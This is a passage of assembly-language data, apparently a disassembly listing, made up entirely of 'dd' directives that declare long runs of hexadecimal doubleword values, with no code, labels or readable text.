		dd 42B0448Ch, 0CE0011B9h, 0C96E861h, 159DF29Eh,	0DC6FFEFFh
		dd 10DB0802h, 78C03A8Eh, 8C0066AEh, 6DC55F21h, 76759Dh
		dd 5273E463h, 39E24BCBh, 85DFAD01h, 0B13BBE6Ch,	0D38480EFh
		dd 0EC6B3F76h, 9783D08Eh, 38A0AFCBh, 0F5062774h, 4178E307h
		dd 84D6033Dh, 59110018h, 152CDB55h, 91C668F6h, 3399379h
		dd 0D7552113h, 2800512Ch, 80BBF3FFh, 9062A5h, 0C5A983DCh
		dd 0F5E12A48h, 3DFCDD16h, 9C33484Ah, 0EDA84105h, 40E71007h
		dd 7E43890h, 8048FBB2h,	216730EDh, 48FDBD39h, 8A98B30h
		dd 280ABB94h, 61069EBh,	136FAAA1h, 0C009829h, 2BB789ECh
		dd 1DDE9187h, 800A34FFh, 6AB621A5h, 10247D04h, 0E00F555h
		dd 0E9C78AEFh, 3BA00472h, 0C06281A2h, 0B04E18FEh, 0D6E5BF01h
		dd 0AFAB7D44h, 7C1D7C8h, 89743060h, 0DC1EE092h,	0E9B0446Eh
		dd 5C7A4702h, 0E0E1ECAFh, 733AA5C8h, 429F0F27h,	0C6800A8Ah
		dd 6EAB7096h, 54D76227h, 7E0D0026h, 0A106F8BDh,	444E3600h
		dd 52A987E7h, 0B9C20F8Ch, 7520EC09h, 0EAB3820Ah, 25A5DC00h
		dd 0A64A28F8h, 7C1006Eh, 2B24F606h, 98004397h, 6F612EDDh
		dd 55E0329h, 0A46D9B3Ah, 189C86E8h, 0EA9DF400h,	39357274h
		dd 0ECA75483h, 0A86D0344h, 55612CD3h, 41094064h, 62E4ACD0h
		dd 76BDE8A8h, 0D9EF3B1Bh, 405C7E9Fh, 0F565F61Dh, 83014DB6h
		dd 0B76FDA5h, 0FDF31AADh, 0A706E840h, 0C06D6162h, 0E19F5411h
		dd 0D00CE591h, 9EDF55Eh, 3491C016h, 68ACE197h, 1E41423Bh
		dd 268EFC57h, 23703B54h, 89016C50h, 0A0E593E1h,	22881118h
		dd 7E10081h, 0CECFAF18h, 3E050F1Eh, 5CA999EAh, 0AE2B8C00h
		dd 0F80C6CC6h, 7E342FCh, 5ABCC5Bh, 0B4463580h, 0E780C044h
		dd 0D7650864h, 586E2D00h, 8BEAFD63h, 0A0D20056h, 0CEB8030Fh
		dd 0E6001429h, 54E1CDC5h, 8967B2h, 0D9D540EEh, 86734D71h
		dd 0F6B92300h, 50C81083h, 82D8A0ECh, 0A5C2039Ah, 408AD858h
		dd 655507C8h, 808F5A39h, 3EBECF68h, 504E8Bh, 69F495E9h
		dd 36ED131Ah, 34E59800h, 2CA9857Eh, 2B101CBh, 88DB4CE0h
		dd 9B989D22h, 5DF2DFC0h, 2D25D3h, 1CE615A5h, 0C9C2315Bh
		dd 0DEB8355Eh, 8608E3Ch, 9EA3A4A9h, 0BF6D4800h,	33ECCF26h
		dd 6B900Fh, 0A5C1814Fh,	34A6C3F7h, 0F1684600h, 0B1B4025Fh
		dd 0C5C21D37h, 0A8164314h, 5100D48Eh, 0BADA72BDh, 2E05C9h
		dd 6D11B33Eh, 0F1EDF0DDh, 3493751Bh, 2FB9E098h,	379D0680h
		dd 413225B8h, 30C67B3Eh, 516070F1h, 0D236205Fh,	0A776F005h
		dd 4086FFA5h, 189A4A20h, 195D503Ah, 0DBB17618h,	7451749h
		dd 0C927CA60h, 0C38F402Dh, 5900E8C2h, 0B7ABC840h, 1EBBDDFEh
		dd 150D7029h, 26228C2Ch, 0F191B800h, 7837E03Bh,	0F7820367h
		dd 662A6579h, 10C39DE8h, 0EC4B8C1Ch, 89FA807Eh,	54DC6FBDh
		dd 820600CCh, 24DE1D92h, 0AC243B55h, 1A1E367Ah,	0D00093DFh
		dd 0CDDFE759h, 510600FAh, 0F608A2D2h, 4200102Dh, 7A56C292h
		dd 0FA5ABFh, 49305007h,	2BEF16B6h, 896EAC01h, 0C30CA6CFh
		dd 7470C0EBh, 6DA90067h, 15CFC2Fh, 541C51C6h, 9C40FA2Eh
		dd 3AE8D6DCh, 72600DAh,	4CD13DD2h, 94009805h, 34FD74BAh
		dd 3AF17D8h, 0E7613579h, 0E90D7B60h, 0C0A95D6Dh, 0CA9810E3h
		dd 701B0ECEh, 98284083h, 3AF212CBh, 8C3A61C9h, 71388180h
		dd 904130A7h, 56E8E719h, 21BEBD08h, 0B4712080h,	0CABF250Ah
		dd 99397402h, 0E0174Ah,	0CF6F5761h, 0FA5F1807h,	1E331C29h
		dd 0B30DE8F8h, 9774A9h,	0F43A7007h, 31629824h, 49E1E41Dh
		dd 0C1845CFh, 61011813h, 616E5037h, 1258998Dh, 8FECE20h
		dd 0FEC03258h, 11713430h, 882130A3h, 3C80BE84h,	79DD5571h
		dd 0B78594Ah, 0B98D2900h, 6F8C13DBh, 83B1008Ah,	35DAAD89h
		dd 0A030741Dh, 0F1A6A0EAh, 8F8A30F2h, 22A36C91h, 4D073A00h
		dd 0A50F1684h, 0C0B2E885h, 2156F121h, 720CD520h, 196EAF6Ch
		dd 0B7CC30ACh, 9BC3DB91h, 51DE3E00h, 0DD8A408Eh, 28F3609Dh
		dd 52D37D64h, 3B06A548h, 3254C90h, 0DFD24F39h, 1E9006F0h
		dd 0A0915474h, 31093Ah,	8E5FAC1h, 48C0Bh, 426BF6C6h, 91970E10h
		dd 5482B300h, 0BAC71338h, 89B00781h, 8039E6BFh,	5B21E141h
		dd 87D89900h, 0B8331BA4h, 6F7289h, 0F0D9B242h, 1D01030Ch
		dd 0B1B60200h, 18C211FEh, 0CDBA04CBh, 0C0CC05B9h, 17342530h
		dd 0AA03F690h, 0B3A88D14h, 57F6E821h, 85E300C2h, 82BC0320h
		dd 7500F4E7h, 84678747h, 60411Bh, 0F16E3836h, 2D194E5h
		dd 8B4C5Ch, 2FBFF497h, 3A432896h, 848021B4h, 90C9F6B2h
		dd 52008A23h, 805E694Dh, 0AA2237h, 0F829DE59h, 940E4042h
		dd 2E11A700h, 63E12891h, 0DEC65C37h, 3EC25A00h,	51BDA819h
		dd 6A431000h, 99686EE0h, 45DC0060h, 6F4E2B3Bh, 0DF8D162h
		dd 0BC0A8B00h, 8024AC07h, 0B880C068h, 6351864Ah, 28C3AD00h
		dd 82A9F542h, 240A1E0Fh, 89D0025h, 464927BDh, 0C6FC9900h
		dd 50412E19h, 1687456h,	2B953045h, 0D48B6E64h, 0E500B51Bh
		dd 8F823FABh, 0E4E35046h, 3260C7Ch, 0C1292C2Bh,	84782284h
		dd 34113F42h, 8AD212Eh,	42BB86FDh, 21702711h, 89580859h
		dd 919EA790h, 485217Fh,	8889BCAh, 74DB42F3h, 0BA21B124h
		dd 0CF5190BDh, 1114088Ah, 405C001Dh, 0D7D387B1h, 0A7360005h
		dd 0DEB68843h, 920021DFh, 0BEA053ACh, 0F14BE7h,	4E803CD9h
		dd 0C21FBFA3h, 6804D500h, 0EE86A649h, 60900CBh,	0E45F994Ah
		dd 0AD3DDA37h, 653E8B0Eh, 9E5000C2h, 76B9AF9h, 4C219930h
		dd 991902Bh, 7600BC7Eh,	0E91F3CD6h, 40FF23h, 7CE9818h
		dd 0EC7F3565h, 8F860C0h, 104D2C5h, 0E33EE8D1h, 0CD34EF99h
		dd 59DC60B1h, 0F9FA1800h, 45B9D401h, 1DFF0BADh,	8D81D768h
		dd 0E4F27507h, 0E500B312h, 93D00504h, 61DEC1h, 43C8301Eh
		dd 87964542h, 65226F0Fh, 5836A015h, 5251FDh, 97CEE4B5h
		dd 2887A27Bh, 3D70681Dh, 3594940h, 0F990DACh, 0CEE8CD7Dh
		dd 519FD200h, 2004488h,	8B214B68h, 86427Ch, 0CFACAD25h
		dd 76BC416h, 0C8EC0E03h, 90D3BCBFh, 50095Eh, 54469365h
		dd 5C6FD683h, 3A4CDEF4h, 1BC00786h, 50106292h, 0C2A4AFFh
		dd 7954A1AEh, 0BA002610h, 0F6B36BB4h, 0F99F09h,	0B0294F14h
		dd 202F060Fh, 438ED100h, 0F7314E6Ch, 1B1900C1h,	0E12CE015h
		dd 492A119Ch, 5200C820h, 16D82EBBh, 7D010908h, 0E2EAE6E6h
		dd 0CE1D5887h, 6A813E79h, 0E95B2E8Fh, 36383C20h, 0AE009708h
		dd 11C30633h, 98DD7199h, 0F5BE3A1Ch, 0E17D2D00h, 0C51DE77Eh
		dd 2B010600h, 9F9CCD71h, 864D0357h, 5525FDC8h, 0A46BFF90h
		dd 0C2E07700h, 0CCF2DCF5h, 0F88048B3h, 9E5A8600h, 61ED7E11h
		dd 0B8454C0Eh, 0A0840EB2h, 0C8ADBB31h, 0D88930A5h, 0F75401CEh
		dd 0C00088E6h, 0C9A1E576h, 7C2CEEEh, 445A9330h,	0CAD60015h
		dd 483F6998h, 4572804Bh, 597FAAACh, 4602005Ch, 3DED2F13h
		dd 550080FAh, 0DF449C30h, 12CF1B83h, 2020991Ah,	94C9FB58h
		dd 4133D200h
		dd 0C06D7B21h, 4D950098h, 0FB47E0FEh, 20039F2h,	6C1661F4h
		dd 1F3155Eh, 8DD82F91h,	301B22B5h, 93001ECFh, 0FACF381Ah
		dd 62DFEDh, 0ADE709EFh,	19043A15h, 3D34B001h, 0A257294h
		dd 2E203FF5h, 0A5270031h, 249F98E9h, 330AAD84h,	9443B1FBh
		dd 0EF525900h, 0E8C492h, 931A5410h, 0F519D1F6h,	0FD674400h
		dd 0CE3DE4BAh, 9FCC0E7Eh, 75602296h, 9043D081h,	0B60C0912h
		dd 0B1B0D400h, 482DA478h, 630060A2h, 6EBB0F5Ah,	56F6398Fh
		dd 0C9854000h, 0DF4673EDh, 0B45404B8h, 0C0CCDED1h, 2BC7914Dh
		dd 3BAAFD09h, 731B803Ch, 0F7ADB0h, 0FAC9B892h, 9E02B7B9h
		dd 356FDB00h, 5F0E4446h, 36C100E3h, 7CFB69D0h, 620EF4A4h
		dd 40C42FC8h, 4728CFEh,	5DBA02A1h, 0D77CB836h, 50A67260h
		dd 0DA59F000h, 390D720Bh, 85580F52h, 44327ABh, 15F04B01h
		dd 0E0A0B1FDh, 360E32D1h, 40B85117h, 9D39CACCh,	6B2D097Dh
		dd 748098BBh, 0EA916C3h, 0DA53C91Ch, 0F28ECCE4h, 9447244Fh
		dd 9FC08381h, 95CAB050h, 26CE719Ah, 80E042h, 5CF7D50Ah
		dd 66600E3Dh, 27567B20h, 0D99A2CB8h, 4DC3002Fh,	0A6F94EFAh
		dd 0C65A400h, 5EB32F18h, 3160011h, 26B539F7h, 1500EABBh
		dd 0B04DEB5Ah, 19E507Eh, 8BA661D4h, 0C9B21EC5h,	27D820F9h
		dd 4203C9E0h, 44AF69E4h, 0F800BD2Bh, 0CDB3A006h, 0A7F901F6h
		dd 5368B0BAh, 6F34E490h, 67FDEF00h, 89A14596h, 5962036Ah
		dd 0A8E7D085h, 46407CBAh, 0C1F1D2B7h, 41B8D4A1h, 0EF4F38FCh
		dd 0E4FCB5E1h, 0CE2E26B2h, 641A09A5h, 16198880h, 9E00C820h
		dd 1D4DA168h, 9F3317h, 185E9299h, 0E7DB47EEh, 0D6F420Eh
		dd 8BD52022h, 55B9ACh, 0AA4A2861h, 8E08FDF3h, 229CC300h
		dd 2738D9AFh, 966924FFh, 59016B6Ch, 0E83EA1BEh,	0C0A87F71h
		dd 0D032DACh, 2A6BCB97h, 9DA18FE6h, 6ACCBC99h, 0C6DE0592h
		dd 24351D8h, 0D3AF2FD0h, 719C20C0h, 5BBD5C00h, 2C73E432h
		dd 6150C0F8h, 28AF3E79h, 2F4A100h, 7D8DAA5Ah, 0AB8A0001h
		dd 1317F2F1h, 6A00B079h, 62C4B389h, 2625852Ah, 0EB460BEh
		dd 2A5658Eh, 244897CBh,	0E1A0C726h, 0CB83A1FCh,	2519FFD8h
		dd 0AD0080B0h, 4D4A1A05h, 3157C4Ch, 70AF462Ah, 24C07F81h
		dd 0D80E9DBFh, 6957A027h, 15248098h, 0B00A8979h, 7CCC26C8h
		dd 3C3A0044h, 0E2FFF643h, 0A8C7C43Fh, 0B100D065h, 9B4B78D9h
		dd 14FA021h, 9E24B7DDh,	20C0538Ah, 0BD0377E3h, 0C456BCAAh
		dd 74E007CDh, 3002DE35h, 0FD59E86Ch, 0EFB9DD02h, 0E02C60D7h
		dd 10E9ECh, 26F5E7CDh, 2AEAD263h, 4E00F77Dh, 29916111h
		dd 312FC7Dh, 6EF9A546h,	0F7B851DCh, 4200666Bh, 14B0775Fh
		dd 5BE0B43h, 2C04FF22h,	0A1D04C30h, 7D009CA0h, 32B81A0Eh
		dd 70C5BEh, 1C927A88h, 2C25DBF1h, 72820726h, 0A0F003Bh
		dd 1B885CC0h, 0E7B30062h, 159DEA87h, 0F838E1E3h, 4B9600BEh
		dd 0D0F5998Eh, 0B4DB163Ch, 202C407Ch, 60BAFCCAh, 0B1CFF005h
		dd 4890DA8Ah, 6C1F7Ah, 95CCFABFh, 3106D21h, 0CAC1B600h
		dd 60C9EC61h, 0AE6E00E8h, 16D791E0h, 3A00DB09h,	0D8428D84h
		dd 1C3D11Eh, 535CF183h,	10330E8Ah, 0E8BE6AE4h, 0F4902Bh
		dd 0D6090CFFh, 64A07C08h, 19CA0FFCh, 803DD4E9h,	19BB639Dh
		dd 300E11h, 0DFB052Ah, 0B6A6C927h, 7C980600h, 26F78D5Ch
		dd 0B2E2030Bh, 19597ECAh, 111DA6C8h, 32700300h,	4F1522A0h
		dd 0E62CFEBCh, 0C13B015Dh, 0BDD0F1E7h, 33347064h, 801ECB3Bh
		dd 0B175FD76h, 99927Eh,	67F18AE7h, 2801A7E0h, 83433600h
		dd 3458FC55h, 0DEC0F50Dh, 0E02E277h, 32D5713Dh,	0A4FDAAh
		dd 0F527377Ch, 9000B0C6h, 2FEB7A77h, 0B259ACh, 7D62278h
		dd 34A1A4FAh, 9D2632FCh, 70003611h, 0F1365391h,	6D710019h
		dd 1F22986Fh, 0DE004B4Dh, 63E45DCFh, 7524937h, 0A64FDF39h
		dd 740C6078h, 4600E6CAh, 0DD55A84h, 2A9F9Eh, 0FE032FA5h
		dd 94E74AF9h, 12D04148h, 18808521h, 9A09C178h, 0C0F9002Ch
		dd 6B554E6h, 1B1C28BEh,	0FA4EB2h, 56B138EEh, 503E19B9h
		dd 0E7B429h, 0E4645D4Dh, 5328AEFBh, 836FE23Dh, 6EBF2736h
		dd 0B78FE0ABh, 0F20300E5h, 0C5A3AE8Ch, 500D313h, 1C473CA5h
		dd 2450Dh, 59A04486h, 1112D04Fh, 0E0A6C801h, 0E9748C13h
		dd 0CE50A0h, 9C89DDBFh,	5618FA82h, 613C447Eh, 26FF1C74h
		dd 0D1157980h, 5B4FC0h,	9324549Ah, 45416B7Eh, 43E70700h
		dd 0C50486C6h, 0F21A0267h, 18BFED4Ah, 1200B8AFh, 838A48B5h
		dd 2C005FFCh, 0B2DF8F01h, 3F570A8Ch, 0D60E09D4h, 28605DA5h
		dd 0EDF8657Ah, 0EA4A6A7Bh, 0CA929040h, 10F5D3Fh, 0B131F46Fh
		dd 0C545C2E9h, 0B8BC4063h, 50FDE33Ch, 0BAEF07B8h, 0E65EFF11h
		dd 0B6927639h, 0E048C0CAh, 0FD160CA2h, 8840A798h, 9E3AC86Dh
		dd 0BB48024Ch, 6882EDAEh, 44B1DA40h, 0C3170416h, 81F85C01h
		dd 84203820h, 90790003h, 3235427Dh, 0B50025FCh,	3EA86DBCh
		dd 34EF1Bh, 0F4C9B6A0h,	7351904Ah, 3C307900h, 8761DB5Fh
		dd 0F34007DFh, 0D0C38D2Dh, 0CA67D0AFh, 0D97F3A05h, 5C8022EBh
		dd 44DB2DE3h, 841308F1h, 0AC0BBADDh, 0CA2B8072h, 4AAE5B93h
		dd 0E5C800E4h, 67B994C5h, 5D27CF18h, 3995E754h,	3B80AD2Fh
		dd 0F9612012h, 1B056AB1h, 0A2F2AAABh, 0FA5B3C83h, 0D0B04047h
		dd 0A68C02Ah, 3BC7E01h,	0FA364200h, 55A37BA1h, 0E42D4CAEh
		dd 27FC6300h, 8D35D511h, 759C4C00h, 80C17ADBh, 3DDC0745h
		dd 80D90B2Bh, 0D1A09333h, 0EB485301h, 0D4F5169Dh, 51F3FE0h
		dd 0CD769BDDh, 71C0912Ah, 0DC5EC12Eh, 3F14AF42h, 5AF010F9h
		dd 31C0EA0h, 93F563D9h,	17A8304Fh, 410069C4h, 0CB08A9CFh
		dd 1EB98D4Eh, 406BB771h, 2DE41A38h, 0D303B6BDh,	506320F2h
		dd 6DEAB873h, 0B8684854h, 1ECA8400h, 86BC2F13h,	7BE11013h
		dd 0A4CB9800h, 4EC8E275h, 0D06C007Dh, 0C4971EB5h, 0DDBA9509h
		dd 23DB00BEh, 504DD50Ch, 78F5CC87h, 681D006Bh, 9F148816h
		dd 15020111h, 473FDADDh, 655C40F0h, 0B7AFAFBh, 3696ECD3h
		dd 6B8F80AFh, 0B98840E3h, 0C0881DC5h, 0A9A2A32Eh, 9A24D619h
		dd 470170E1h, 50E6D817h, 38CC7825h, 0F3B411BBh,	0C0850037h
		dd 5ECD6E99h, 3C720007h, 0D58CE975h, 0CA1DA7E1h, 0B409E58h
		dd 0F7CE76C5h, 41830070h, 0D6A405F4h, 6A008D87h, 45924D7Dh
		dd 0E0F66E2h, 6D08CE98h, 26442D00h, 4AF23AA0h, 251748E6h
		dd 0EF0A17CDh, 3200E412h, 0D86EF81Eh, 5AB09Bh, 713E6A27h
		dd 99AEB558h, 8CBE1C7h,	4F4A1860h, 9F6E00EAh, 17EDF01Bh
		dd 6A3C4797h, 0F5C8009Ah, 0E1D636D8h, 7958EA75h, 0A4575D0Bh
		dd 0B0C012h, 0C1334643h, 0F14C6278h, 30AF00E4h,	0ADCB0D65h
		dd 0C974C77h, 68DB24h, 0C94FF33Eh, 0EA3DC359h, 892E837Bh
		dd 0A0748811h, 0FAEDFB0Dh, 5FC70086h, 0ABCD807h, 0A17B68F5h
		dd 7A6F4A15h, 0CB912D4h, 0E73E180Eh, 8567021Fh,	0B8371C3h
		dd 705CAB21h, 803BC20h,	0D07E0FD5h, 0B0BB58h, 0BF4EE8F1h
		dd 2C59F775h, 1E49470h,	0C6A66DD8h, 0EE86801Eh,	55A8B164h
		dd 3A781EBEh, 42460094h, 0AAE2524Dh, 38A19B00h,	690F489Ch
		dd 35590308h, 0CFE9D327h, 0F6B06C80h, 17093Eh, 8FA434BEh
		dd 39E638D6h, 6E31445Dh, 0E82F71A8h, 0A200F680h, 5FD5031Ch
		dd 0F91508Bh, 0C1DF08DDh, 1A58F300h, 6B027827h,	0EB5C7DF7h
		dd 61C44031h, 459500FFh, 261760E4h, 0B726FA8Bh,	87015CCDh
		dd 0ADDA8F22h, 0A07D13C0h
		dd 17144C84h, 1572AF8h,	0FA908A6Ch, 3CDAFC4Dh, 6FD21001h
		dd 809711A7h, 0B807A420h, 0A6A0030h, 3D9C0E7Bh,	0A2F61366h
		dd 433A4E1Dh, 20C7D4C0h, 1EDE12Bh, 0FDF1EE29h, 0F4DFCA1Ch
		dd 462EEC40h, 6A061A1Ah, 7FC8A9FEh, 0C4C93D8Dh,	426DB116h
		dd 60CD981Ch, 6C17C63h,	3386327h, 0EB9EAB04h, 7DB5E001h
		dd 0AFE8003Eh, 86DA3AF0h, 0CC02CEE5h, 659DDBF1h, 0ADC44017h
		dd 876A0005h, 3BB4CFA0h, 0AC7ABACCh, 9640D500h,	0FF45E544h
		dd 1701260Bh, 0C5690908h, 2FF3EC40h, 0E2E48801h, 0D99938FAh
		dd 0A35824h, 90D35D3Dh,	0F3C013A2h, 0A6E168C0h,	12D12437h
		dd 0CE30E2h, 34634C4h, 1C0570A4h, 6F75439Ah, 0FBF3C003h
		dd 0EE80F00Eh, 189A22h,	10F2096Ah, 5B3EACE8h, 4020AB1Eh
		dd 77500300h, 0F5FCFBh,	0B373633Dh, 1E5937C1h, 211C1575h
		dd 1BC788CAh, 63901D22h, 90907B14h, 9F433CA0h, 56A4F380h
		dd 23F66055h, 8033AB25h, 0A1931A8Ch, 909E52h, 0DDEFEEBh
		dd 2100FB3Bh, 71BDE33Ah, 4A1614h, 1129DAA8h, 215DF48h
		dd 0F747D5F7h, 9FA0A183h, 0D1008473h, 0FB2FF25h, 240456h
		dd 0B0EA1A0Ch, 0AFA85175h, 0D95F8D09h, 0C924005Ch, 4770EEh
		dd 9377AE58h, 2A4E9D1Ch, 8212FC1Dh, 0F873807Ch,	0BF42FFE5h
		dd 998E00D9h, 8C5D49A4h, 0B20064B7h, 15580752h,	0A45B3394h
		dd 1C377E4h, 13551727h,	0ECB30AC6h, 14712ACBh, 35BDF20Bh
		dd 0C2048F3Ah, 406DA526h, 1648930h, 0A0979FDh, 0E032FC74h
		dd 0C4274F5Ch, 0A87C0AE4h, 1D8D1703h, 23EFE890h, 64D300BBh
		dd 0B75A91A7h, 2B73633Bh, 1256DE5Ch, 0EB017DEDh, 40994F27h
		dd 76C01475h, 3CE25843h, 18A11271h, 8F1C40C2h, 8390658Ch
		dd 25A6CC1Fh, 0BA9792h,	8B2D89Dh, 2A014272h, 760A3BC0h
		dd 8C247F83h, 1C2D04D9h, 0A4C99FF8h, 9C001570h,	0D2FD2B0Ch
		dd 957A36Ah, 0C7EDFAC6h, 0BB40807Dh, 0AA3C2Fh, 5385371Ah
		dd 0EF2EE026h, 0E19094A0h, 31630700h, 395BBC2Dh, 67EB1CE4h
		dd 0C1C11289h, 38A05698h, 69A0070h, 6C7386DBh, 50A60070h
		dd 0E2762BF6h, 0FC0145C1h, 0A016A61h, 0D270BD7Ah, 0DA3507A7h
		dd 808B7624h, 0D5F66DC5h, 8073970Fh, 7AF960D8h,	39DE039Bh
		dd 0B4C895C8h, 22FB8300h, 0EEF44B88h, 4682941Eh, 0B0401B1Dh
		dd 148DD121h, 0A89000DCh, 42EDE5ACh, 2400F882h,	74F130A5h
		dd 7EE841B9h, 4DEE18h, 887AEC1Eh, 72EF356Ah, 24900F03h
		dd 0A876949Eh, 1C1EA27Fh, 0E314656h, 4E80D529h,	0C2199342h
		dd 0EF210900h, 9B7B1887h, 0CE032h, 8948170Dh, 6219CD67h
		dd 0DC692601h, 28C1BB4h, 0C15CC09Ch, 0FFACB91Eh, 28FEF023h
		dd 4ED47A09h, 84540097h, 3D2FC362h, 229E25F2h, 0B69940ACh
		dd 1141FC54h, 1F53D93Dh, 8CE66A33h, 80C0DD94h, 9C65AAFFh
		dd 5C920099h, 5D267158h, 0E41F14E6h, 0BCC0D84Ch, 84E16991h
		dd 0CD88244Eh, 19D1E04h, 8B665067h, 2C34CCECh, 65157600h
		dd 22E42731h, 86632CD7h, 13DD8098h, 0D59C4BA3h,	3ED2D0C3h
		dd 0E79F02Dh, 0B4A00B7Eh, 0A8203F1Ah, 0EC227A99h, 9EC5C205h
		dd 0F4800E27h, 971AE4h,	10617546h, 8F25BC72h, 502C4230h
		dd 78BA44Ah, 2F658E05h,	167AD0D1h, 0DF00EB27h, 1EA23A5h
		dd 7AEF122Ch, 0D34918FDh, 34CA38D4h, 0BF24B3F2h, 6CAC3417h
		dd 945C803Ah, 20CFF591h, 97370059h, 0C51A5A5Fh,	291FE4F6h
		dd 8428867Dh, 0C722AD1Dh, 70BD1C07h, 419E13C1h,	230060h
		dd 510297F6h, 9DE487D1h, 5A243BB0h, 30005A28h, 0B2DE7304h
		dd 0A8F3008Ch, 23A643B7h, 4B2E81FFh, 1C07905Eh,	86E72FDDh
		dd 38D42A00h, 83F70A24h, 26AC8A52h, 0B02800D1h,	330C72E6h
		dd 3B2D8500h, 0B8AC4187h, 2C710108h, 57CA88E3h,	8DF36068h
		dd 809B4C27h, 65121148h, 909500F4h, 2ABBD6E4h, 38982187h
		dd 0BFD15716h, 1385F03Ch, 2B579BDh, 0A8BBACE4h,	6F00E447h
		dd 0FD58313Ch, 0D87B029Eh, 1C4D4169h, 0D9D9E049h, 4AA04184h
		dd 8D23D40Fh, 0BB7ACB1Ch, 2474B40h, 0BE49DE68h,	291FA4h
		dd 0DC32879Fh, 0A31D8C39h, 807B5698h, 0F00647C0h, 0E3F2DFh
		dd 9317BBAh, 34EDD6C8h,	8C297126h, 0A1C3AA00h, 308AE7h
		dd 0E5269D7Ch, 0D28563C7h, 76A86B09h, 83788121h, 0BFF88E78h
		dd 677400E4h, 919BA13h,	0E3007590h, 315E0799h, 5BF9C8h
		dd 4232F059h, 0B45FFF94h, 7C95582Ch, 3EDF2900h,	0E4852CFAh
		dd 87E5C8Fh, 4BA5B00h, 0AFEE653Ch, 80D2E33Bh, 0C6914FFCh
		dd 0B8D4F382h, 0AD593FD0h, 0C0CF7F1Ch, 57D90827h, 9500E18Bh
		dd 0DE728C0Fh, 9E292F0Bh, 78BB0094h, 0FF3BCA26h, 6FB3BD26h
		dd 6DD4000h, 785AD787h,	2558028Bh, 0D26943CFh, 0FBE64140h
		dd 7AC76700h, 145EC7Eh,	0B66E03FEh, 6FEF31C3h, 5FE45DE8h
		dd 0ED79205h, 0ABC0ABC9h, 0FBA8C4Bh, 91D1F6A7h,	27B76A42h
		dd 64B24C50h, 0B1004CB8h, 7DD92AACh, 7446C0h, 524A3089h
		dd 35200140h, 0C451F700h, 597F80C7h, 1CF2AFh, 24D2585Fh
		dd 0EDF86046h, 799B6E00h, 48B9683Fh, 3BBF00CBh,	71382D70h
		dd 0B74A304Ah, 81A7A000h, 7916626Ah, 0FE651E9Ch, 0D07296B0h
		dd 0A0D13334h, 0A4D39100h, 0B5DC214Ch, 2EB11C1Ch, 8928C9h
		dd 0C5E24B58h, 489C5F82h, 0C00059E6h, 12267E60h, 0CAC99Bh
		dd 0D8D38097h, 9C4C1806h, 1700B5E6h, 4A6EA2B3h,	3D765863h
		dd 710121BCh, 9A069575h, 6B77DCC0h, 1CD41454h, 83471200h
		dd 1ABB3E2Ch, 0EFBF0B71h, 20E08084h, 0D475F568h, 0AEF6EE09h
		dd 4C52B8h, 9F59EAD5h, 0AB77F766h, 6423F100h, 2F8F3E49h
		dd 6C170905h, 2980C81Ch, 4C366509h, 0BA75F4EFh,	25EBBB02h
		dd 68474D08h, 2DF9F8h, 66D7EE89h, 656FE2C6h, 31DFD218h
		dd 0F947E320h, 3CEBB0E1h, 0D4033711h, 7A1A7C75h, 87D59DF1h
		dd 9448E450h, 0B2D3807Eh, 0C3219Fh, 0CA106F4Eh,	7EECC7Eh
		dd 0DCB98924h, 3CE2DA00h, 26D1B353h, 26F5A6Bh, 2F1DA027h
		dd 0B7E54C80h, 0FC60C06Eh, 9739B038h, 74F83Ch, 54BCEC1Dh
		dd 478638FDh, 15C433Eh,	7D49B79Ch, 2530F8CBh, 0E0415032h
		dd 0F6510060h, 1A3C4358h, 241FBF47h, 0A8261434h, 86B6D000h
		dd 0B8CCA0F9h, 2A6800C3h, 1F7D0613h, 1287A6Eh, 0B7FAE827h
		dd 18140E03h, 0E7C0837Ch, 5BD685A9h, 978E09h, 42039D46h
		dd 0B87E00BBh, 36E1C82Bh, 292ECBFFh, 6583A8B4h,	0E08F8512h
		dd 5A61DFh, 0B6392EF3h,	83D5CA13h, 8CA55E07h, 4530D9BEh
		dd 23DC93Eh, 0BA7CD046h, 48E0EE35h, 61FD237Bh, 183EC81Eh
		dd 0E11E4F00h, 5742B792h, 5F0207AEh, 0F0432E77h, 0EDAB0D8h
		dd 0E2AB6000h, 0AF728FD7h, 2E661F38h, 2F4E8EA8h, 9EFB4220h
		dd 6701F7C8h, 0AB533EA2h, 9830CF2Bh, 25DF0176h,	9FE2D468h
		dd 45C9944Ah, 0A0B8AB04h, 7BB99300h, 5A036A4Ch,	4DCB038Ah
		dd 111E82C3h, 30042809h, 29DC003Fh, 1D94A5CDh, 75ED48h
		dd 66B09C2Eh, 28C43F8Bh, 0B94439C7h, 0E5D144A3h, 95426248h
		dd 9ED02F23h, 1E7043C8h, 411062BEh, 71118788h, 6EE311A2h
		dd 550CBA21h, 0A07D5144h, 88797614h, 0CB888CD6h, 8698947h
		dd 0D212F5F4h, 0CA897A10h, 8509579h, 6E946D26h,	8E331114h
		dd 12512137h, 6FDE8695h, 5BE90B00h, 735778Bh, 3B71B56Ah
		dd 0AC2F050h, 0A300EED2h, 480BDDB9h, 0E57663h, 1F1165B1h
		dd 18E7153Ch, 0FA61E900h, 2C434EC6h, 0F4EAEE83h, 0E26B0002h
		dd 316C9154h, 0C01C13DAh
		dd 66C1AC56h, 24C91847h, 7D6BD0h, 0F26AF07h, 1A906453h
		dd 43004678h, 7AE9D037h, 5476E5h, 360AF230h, 0BA0768CBh
		dd 4400EB74h, 1EA404B9h, 286FD09h, 96CC3C78h, 28645C54h
		dd 46C92800h, 0EFF894D9h, 32ECBCh, 214EDBA2h, 0B7B01C4Ah
		dd 7EE73800h, 0D85C2B14h, 0AF7B0028h, 9A3512D3h, 222C39A1h
		dd 0AD00F94Fh, 28DF45A7h, 635E0EAEh, 8809BDDh, 41CEE86Fh
		dd 80217C69h, 60F31443h, 198100F1h, 39882280h, 0E700C1E2h
		dd 879E348h, 64D7C82h, 9B5B5189h, 6700B1ADh, 2A490406h
		dd 0EAB473Dh, 0D25CFC88h, 0B9251320h, 1F0063A2h, 64D50D9Ch
		dd 712610Ch, 2BCDF592h,	3BB5619Bh, 0ABD0E4BDh, 64855200h
		dd 95783346h, 1DBE9844h, 2A6E4A5h, 3D23EE6Fh, 0ED1FEAE0h
		dd 5AD7A17h, 0A83ED500h, 0D69DDDh, 0AE24A32Dh, 81E7FAC1h
		dd 4422B000h, 63D84EF4h, 0F6BC0028h, 0C009D374h, 557196C2h
		dd 0A8993400h, 3F9171C9h, 0A68000B1h, 2432DED8h, 3D058656h
		dd 6F2E5A39h, 0F629E980h, 0EE1F7BAAh, 0B9C603A6h, 27246CE5h
